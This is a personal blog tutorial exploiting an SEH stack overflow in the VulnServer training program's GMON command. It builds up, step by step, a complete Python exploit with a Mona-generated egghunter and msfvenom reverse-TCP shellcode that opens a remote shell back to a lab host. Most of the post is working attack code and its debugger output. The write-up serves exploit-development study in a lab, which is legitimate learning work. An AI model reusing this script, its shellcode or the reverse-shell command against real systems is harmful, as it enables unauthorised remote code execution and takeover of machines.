Using the 'VulnServer' program we'll demonstrate a stack overflow that introudces Structured Exception Handling (SEH) event handling to gain a shell on a sample system.
In this instance I'll be targeting the GMON
command input as it is known to be vulnerable to an overflow attack using SEH.
Word of Warning
The purpose of this blog is to provide an outlet to note down the methodologies and tricks I've learned along the way, and hopefully this will be beneficial to someone else. I do not claim to be an expert in this field and there are many other blog posts and articles that delve in to considerably better detail.
Information is free - take the good bits and leave the rest!
Overflow Fuzzing
I'll run the WoollyMammoth fuzz command against the VulnServer service and will immediately eventually identify a crash in the debugger between 3900 and 3950 bytes.


However, it is clear that EIP is not overwritten. If we view the SEH Chain (Alt + F2) we can see the address and value that was written when the exception occurred.

The offset for this was identified as being 3521 bytes into our input string.

If we use the Mona module findmsp
(Find Metasploit Pattern) to identify our offset pattern (e.g. the same one used in the Metasploit pattern_create tool) in both memory and registers, we can see that NSEH (Next Exception Registration Record) is overwritten at 3517 bytes. We'll use the SEH record overwrite to control execution flow.

Controlling NSEH Execution Flow
I've created a small Python script to send the initial buffer (with offset up to 3517), followed by the four "B" characters (NSEH), and then by filling the rest of the buffer with "C" characters (SEH).
#!/usr/bin/env python
import socket
target = "192.168.111.3"
port = 9999
prefix = "GMON ./"
buffer = "A" * 3517 + "B" * 4
buffer += "C" * (5000 - len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,port))
x = s.recv(1024)
s.send(prefix + buffer)
s.close()
Once the crash occurs the SEH Chain shows the 0x42424242
value as the address of the NSEH record with the 0x43434343
string within the SEH.

The next step in exploiting SEH is to identify a series of commands that can be used to adjust the ESP
register twice and then return to this address. We can do this manually by right-clicking in the CPU window and then 'Search > Sequence of Commands' and entering the r32
value as a sort of wildcard.

Alternatively, you can just use Mona to search for !mona seh
, which is nice and easy.

The goal here is to identify an instruction that does not use SafeSEH.
Testing Execution Flow
I've modified the Python script to include the SEH POP POP RET
instruction address and also created a variable nseh
that will be used to store the four "B" (0x42
) characters.
#!/usr/bin/env python
import socket
target = "192.168.111.3"
port = 9999
nseh = "C" * 4
seh = "\xb4\x10\x50\x62"
prefix = "GMON ./"
buffer = "A" * 3517
buffer += nseh
buffer += seh
buffer += "D" * (5000 - len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,port))
x = s.recv(1024)
s.send(prefix + buffer)
s.close()
In the debugger a breakpoint has been manually set so that we can view the execution flow one step at a time.

Once the payload is sent, the process will crash in the debugger and by viewing the SEH chain we can see that the address has been set to the POP POP RET
instruction address.

After setting a breakpoint to the POP POP RET
address, sending the payload, and then stepping over the execution flow to bypass the exception (Shift + F9), the execution flow is taken to the start of the POP EBX
sequence.


If we manually step through until the RET
instruction we can see the ESP
register increase by two as intended.

Stepping through once more then redirects the flow to the 4 bytes before our SEH instruction, where the 4 "B" (\x42
) characters were sent in our initial buffer payload. This is essentially the space that is available for our shellcode. However, 4 bytes clearly isn't sufficient for a usable payload, and we would also need a minimum of 32 bytes for an egghunter.

Expanding Our Horizons
If we scroll up in the CPU window it is clear that there is a large amount of 'empty' buffer space that is currently filled with the "A" characters.

We can expand our available payload space and thus enter shellcode by creating a short JMP
back in memory to reach an earlier address. I'll insert an egghunter here, which would then later look for the star of our exploit shellcode.
I'll refer back to my last post where I provided some cheatsheets for the forward and backward short JMP
values. To move backwards for the 32 byte egghunter I'll need at least 34 bytes to ensure that I account for the size of the JMP
instruction itself (the cheatsheet I provided should account for this by default - i.e. \xDE
will JMP
32 bytes as there are 31 bytes in between).
The Python script now looks like the following with the JMP
inserted into the payload. This of course replaces the 4 * "B" characters that we were sending as the nseh
value, which informs the next instruction to execute after an SEH exception. To fill out the 4 bytes that we've replaced I have just inserted 2 NOP
bytes.
#!/usr/bin/env python
import socket
target = "192.168.111.3"
port = 9999
nseh = "\xeb\xde\x90\x90"
seh = "\xb4\x10\x50\x62"
prefix = "GMON ./"
buffer = "A" * 3517
buffer += nseh
buffer += seh
buffer += "D" * (5000 - len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,port))
x = s.recv(1024)
s.send(prefix + buffer)
s.close()
Following the execution flow through SEH we reach the short JMP
instruction that we inserted.

Continuing through once more the instruction moves us back 32 bytes before the instruction.

I've modified the script again to demonstrate a placeholder for the egghunter. Note, that I have reduce the initial buffer of "A" characters by the length of the egghunter, and then set the placeholder for this ("C" * 32
) between the initial buffer and the short JMP
instruction.
#!/usr/bin/env python
import socket
target = "192.168.111.3"
port = 9999
nseh = "\xeb\xde\x90\x90"
seh = "\xb4\x10\x50\x62"
egghunter = "C" * 32
prefix = "GMON ./"
buffer = "A" * (3517 - len(egghunter))
buffer += egghunter
buffer += nseh
buffer += seh
buffer += "D" * (5000 - len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,port))
x = s.recv(1024)
s.send(prefix + buffer)
s.close()
Using the amended script we can see that the short JMP then takes execution flow to the start of the 0x43
placeholders.

Egghunting
The next step is to insert the 32 bytes of "C" characters placeholder with our egghunter. I'll generate one with Mona for now using !mona egg -t GLEE
and will insert this into the script.

In the script below I've also created a variable for the egg itself, which as you can see will be GLEEGLEE
(I've honestly struggled with thinking of four character words that aren't entirely in the hexadecimal range and aren't rude).
#!/usr/bin/env python
import socket
target = "192.168.111.3"
port = 9999
nseh = "\xeb\xde\x90\x90"
seh = "\xb4\x10\x50\x62"
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x47\x4c\x45\x45\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
egg = "GLEEGLEE"
prefix = "GMON ./"
buffer = "A" * (3517 - len(egghunter))
buffer += egghunter
buffer += nseh
buffer += seh
buffer += "D" * (5000 - len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,port))
x = s.recv(1024)
s.send(prefix + buffer)
s.close()
Inserting Shellcode
The final step is to build some shellcode and then insert this into our script. I haven't touched on bad characters yet (I will at some point), but for now the only bad characters we cannot use in any payload will be the \x00
null-byte character. This is usually universally true.
As we have a large buffer to play with I'm going to insert some NOPs (\x90
) before our egghunter to ensure that the shellcode has enough space to decode itself. It is possible to set a payload that isn't encoded, but I won't be doing that here.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.111.5 LPORT=4444 -f c -b '\x00'
#!/usr/bin/env python
import socket
target = "192.168.111.3"
port = 9999
nseh = "\xeb\xde\x90\x90"
seh = "\xb4\x10\x50\x62"
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x47\x4c\x45\x45\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
egg = "GLEEGLEE"
shellcode = (
"\xbd\x4d\x9f\x76\x2c\xd9\xce\xd9\x74\x24\xf4\x5e\x33\xc9\xb1"
"\x52\x83\xc6\x04\x31\x6e\x0e\x03\x23\x91\x94\xd9\x47\x45\xda"
"\x22\xb7\x96\xbb\xab\x52\xa7\xfb\xc8\x17\x98\xcb\x9b\x75\x15"
"\xa7\xce\x6d\xae\xc5\xc6\x82\x07\x63\x31\xad\x98\xd8\x01\xac"
"\x1a\x23\x56\x0e\x22\xec\xab\x4f\x63\x11\x41\x1d\x3c\x5d\xf4"
"\xb1\x49\x2b\xc5\x3a\x01\xbd\x4d\xdf\xd2\xbc\x7c\x4e\x68\xe7"
"\x5e\x71\xbd\x93\xd6\x69\xa2\x9e\xa1\x02\x10\x54\x30\xc2\x68"
"\x95\x9f\x2b\x45\x64\xe1\x6c\x62\x97\x94\x84\x90\x2a\xaf\x53"
"\xea\xf0\x3a\x47\x4c\x72\x9c\xa3\x6c\x57\x7b\x20\x62\x1c\x0f"
"\x6e\x67\xa3\xdc\x05\x93\x28\xe3\xc9\x15\x6a\xc0\xcd\x7e\x28"
"\x69\x54\xdb\x9f\x96\x86\x84\x40\x33\xcd\x29\x94\x4e\x8c\x25"
"\x59\x63\x2e\xb6\xf5\xf4\x5d\x84\x5a\xaf\xc9\xa4\x13\x69\x0e"
"\xca\x09\xcd\x80\x35\xb2\x2e\x89\xf1\xe6\x7e\xa1\xd0\x86\x14"
"\x31\xdc\x52\xba\x61\x72\x0d\x7b\xd1\x32\xfd\x13\x3b\xbd\x22"
"\x03\x44\x17\x4b\xae\xbf\xf0\xb4\x87\xd0\x05\x5d\xda\x2e\x17"
"\xc1\x53\xc8\x7d\xe9\x35\x43\xea\x90\x1f\x1f\x8b\x5d\x8a\x5a"
"\x8b\xd6\x39\x9b\x42\x1f\x37\x8f\x33\xef\x02\xed\x92\xf0\xb8"
"\x99\x79\x62\x27\x59\xf7\x9f\xf0\x0e\x50\x51\x09\xda\x4c\xc8"
"\xa3\xf8\x8c\x8c\x8c\xb8\x4a\x6d\x12\x41\x1e\xc9\x30\x51\xe6"
"\xd2\x7c\x05\xb6\x84\x2a\xf3\x70\x7f\x9d\xad\x2a\x2c\x77\x39"
"\xaa\x1e\x48\x3f\xb3\x4a\x3e\xdf\x02\x23\x07\xe0\xab\xa3\x8f"
"\x99\xd1\x53\x6f\x70\x52\x63\x3a\xd8\xf3\xec\xe3\x89\x41\x71"
"\x14\x64\x85\x8c\x97\x8c\x76\x6b\x87\xe5\x73\x37\x0f\x16\x0e"
"\x28\xfa\x18\xbd\x49\x2f")
nops = "\x90" * 20
prefix = "GMON ./"
buffer = "A" * (3517 - len(egghunter) - len(shellcode) - len(nops) - len(egg))
buffer += egg
buffer += shellcode
buffer += nops
buffer += egghunter
buffer += nseh
buffer += seh
buffer += "D" * (5000 - len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,port))
x = s.recv(1024)
s.send(prefix + buffer)
s.close()
Continuing Execution
Upon following through from the POP POP RET
instruction we can see that the egghunter has been successfully placed above our new short JMP
instruction.

Stepping through once more takes us directly to the entry point of the egghunter, which will search memory for our egg string GLEEGLEE
.

Setting a breakpoint at the egghunter JMP EDI
instruction shows that it has identified our egg string in memory and that it is pointing to the 4 byte address directly after.


We can see this by following execution through once more, where we then reach our shellcode.

By letting execution continue we are presented with a shell to the target system.

Going Raw
If we run the 'vulnserver.exe' program outside of a debugger and run the exploit script against the service we instantly receive a shell without halting the execution flow.
